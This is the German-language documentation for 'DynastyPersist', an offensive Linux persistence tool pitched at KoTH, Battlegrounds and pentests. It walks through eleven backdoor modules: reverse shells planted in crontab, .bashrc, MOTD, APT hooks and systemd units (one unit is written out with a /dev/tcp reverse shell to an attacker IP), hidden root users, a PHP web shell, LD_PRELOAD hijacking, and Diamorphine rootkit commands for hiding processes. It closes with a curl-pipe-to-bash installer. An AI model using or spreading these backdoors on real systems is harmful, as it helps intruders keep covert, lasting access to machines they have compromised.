DynastyPersist 1.5

DynastyPersist: Ein optimiertes Tool zum mühelosen Erreichen von Linux-Persistenz.
Unterstützt KoTH, Battlegrounds und Pentest-Operationen

Installieren • Dokumentation • Nutzung

Dokumentation

[ FUNKTIONEN ]

[ Module ]

SSH-Schlüsselgenerierung

• Erhalten Sie Zugriff auf einen Server mittels ssh-Schlüsselgenerierung. Dieses Modul erstellt einen id_rsa-Schlüssel für jeden Benutzer. Dieser kann für umgekehrten Zugriff verwendet werden. Nach Ausführung dieses Moduls kann sich der Angreifer via ssh mit dem Server verbinden.

• Dies kann manuell mit dem Befehl ssh-keygen durchgeführt werden. Das Modul erstellt jedoch in kürzester Zeit einen privaten Schlüssel für jeden Benutzer.

root@kali ~ ssh -i id_rsa [email protected]

• Modulnummer: 1

Cronjob-Persistenz

• Cronjobs in Linux sind geplante Aufgaben, die automatisch in bestimmten Intervallen ausgeführt werden.

• Eines der effizientesten Module, das Reverse Shells beinhaltet. Dieses Modul schreibt Reverse-Shell-Befehle direkt in /etc/crontab. Dadurch öffnet sich eine Shell auf dem Port, den Sie abhören.

root@kali ~ nc -nvlp 9999

• Modulnummer: 2

Benutzerdefinierter Benutzer mit Root

• Eine einfache und schnelle Methode, um umgekehrten Zugriff zu erhalten. Dieses Modul erstellt einfach einen weiteren Benutzer mit Root-Zugriff. Der Angreifer kann sich später via ssh bei diesem Benutzer anmelden.

root@kali ~ ssh [email protected]

• Modulnummer: 3

RCE-Persistenz

• Dieses Modul enthält ein php-Skript, das im Web-Root-Verzeichnis gehostet wird. Das Skript befindet sich unter /var/www/html/dynasty_rce/rce.php. Das Präfix dynasty_rce kann ausgeblendet werden, wenn das LKM-Modul zuvor ausgeführt wurde.

• Durch Aufrufen von Opfer-IP:Port/dynasty_rce/rce.php erhalten Sie die Möglichkeit, Befehle in der Shell auszuführen.

• Modulnummer: 4

LKM-Rootkit

• Eine fortgeschrittene Persistenzmethode, die ein Rootkit in den Kernel des Servers einpflanzt. Das Programm konzentriert sich auf ein Open-Source-LKM-Rootkit namens Diamorphine. Das Modul befindet sich vorübergehend unter /var/tmp/.memory. Dieses Verzeichnis wird nach der Einrichtung des Moduls gelöscht.
• Der folgende Codeblock zeigt die Verwendung dieses Moduls.

victim@ubuntu ~ kill -64 0 # Wechselt zum Root-Benutzer. 
victim@ubuntu ~ mkdir dynasty_persist # Jedes Verzeichnis, das mit dynasty beginnt, wird ausgeblendet.
victim@ubuntu ~ kill -31 <prozess> # Blendet Prozesse aus
victim@ubuntu ~ lsmod | grep -i diamorphine # Blendet sich selbst aus
victim@ubuntu ~ kill -63 0 # Lässt es in der lsmod-Ausgabe erscheinen

• Modulnummer: 5

Bashrc-Persistenz

• Dieses Modul schreibt Reverse-Shell-Befehle, Aliase und Variablen für umgekehrten Zugriff. Eine Shell wird geöffnet, wenn sich ein Benutzer am Server anmeldet oder wenn die Person find oder cat verwendet.

root@kali ~ nc -nvlp 9999

• Modulnummer: 6

Systemd-Dienst für Root

• Ein Modul, das einen benutzerdefinierten Dienst in systemd für umgekehrten Zugriff erstellt.

• Ein Beispiel:

Description=Dynasty Persist

[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30

[Install]
WantedBy=default.target"

• Das obige Beispiel wird als Dienst erstellt. Diese Methode ist effizient und dauerhaft.

• Modulnummer: 7

LD_PRELOAD-Privilegieneskalationskonfiguration

• LD_PRELOAD ist eine Umgebungsvariable in Linux, die es Benutzern ermöglicht, eine gemeinsam genutzte Bibliothek vor anderen Bibliotheken zu laden. Privilegieneskalation mittels LD_PRELOAD beinhaltet das Laden einer bösartigen Bibliothek, um Systemaufrufe abzufangen und zu modifizieren, wodurch möglicherweise erhöhte Rechte erlangt werden. Das Modul hinterlegt eine Backdoor in Befehlen wie find und wget.

• Modulnummer: 8

Backdoor für Message of the Day / Header

• Die "Message of the Day" (MOTD) in Linux ist ein anpassbarer Text, der Benutzern beim Login angezeigt wird und Informationen oder Updates über das System bereitstellt. Sie wird normalerweise in der Datei /etc/motd gespeichert und kann von Systemadministratoren geändert werden.

• Dieses Modul schreibt eine Shell in /etc/update-motd.d/00-header. Diese wird typischerweise ausgelöst, wenn sich ein Benutzer anmeldet.

• Modulnummer: 9

Einen vorhandenen Systemd-Dienst ändern

• Ähnlich wie Modul 7 ändert dieses einen vorhandenen Dienst für umgekehrten Zugriff.

• Einfach gesagt, es überschreibt ExecStartPre im Dienst mit einem Reverse-Shell-Befehl.

• Modulnummer: 10

APT-Backdoor

• "APT" steht für Advanced Package Tool und wird häufig in Debian-basierten Systemen wie Ubuntu verwendet. Die Datei befindet sich unter: /etc/apt/apt.conf.d/42backdoor

• Hinterlegt eine Backdoor im apt-Befehl; immer wenn apt ausgeführt wird, öffnet sich eine Shell.

• Modulnummer: 11

[ MODI ]

• Derzeit sind in der neuesten Version (1.4) 2 Modi verfügbar.

• Die Modi sind console und ctf, die für ein bestimmtes Verhalten entwickelt wurden.

• Im Vergleich dazu bietet der console-Modus mehr Funktionen und Stabilität als der ctf-Modus.

Console

• Der console-Modus startet das Tool im üblichen Setup mit allen Funktionen. Diese Funktionen werden lokal auf dem lokalen Host ausgeführt, auf dem das Skript ausgeführt wird. Entwickelt für Persistenz in Echtzeit-Operationen.

• Das Präfix use gefolgt von der Modulnummer wird verwendet, um ein ausgewähltes Modul auszuführen. Z. B. use 1

• Zudem wurde die Benutzeroberfläche aktualisiert: Die Module/Payloads sind nun sichtbar, wenn Sie show payloads eingeben.

• Schließlich wurde auch das Hilfe-/Optionen-Menü geändert: Geben Sie show options ein, um es anzuzeigen.

CTF

• Der ctf-Modus ist eine zusätzliche Funktion, um sich via SSH mit einem kompromittierten Server zu verbinden und Persistenz zu erlangen. Dieses Addon wird in KoTH oder Battlegrounds sehr hilfreich sein. Darüber hinaus spart es viel Zeit bei der Einrichtung der Persistenz.

• Führt die meisten Funktionen des console-Modus aus.

[ NUTZUNG ]

• Die Syntax zur Verwendung des Tools wird unten beschrieben:

$ ./dynasty.sh <lhost> <lport> <modus> 
$ ./dynasty.sh ctf 
$ ./dynasty.sh 10.10.14.3 9999 console 

Installation

Via Git

$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src 

Via Curl

$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash

Vielen Dank!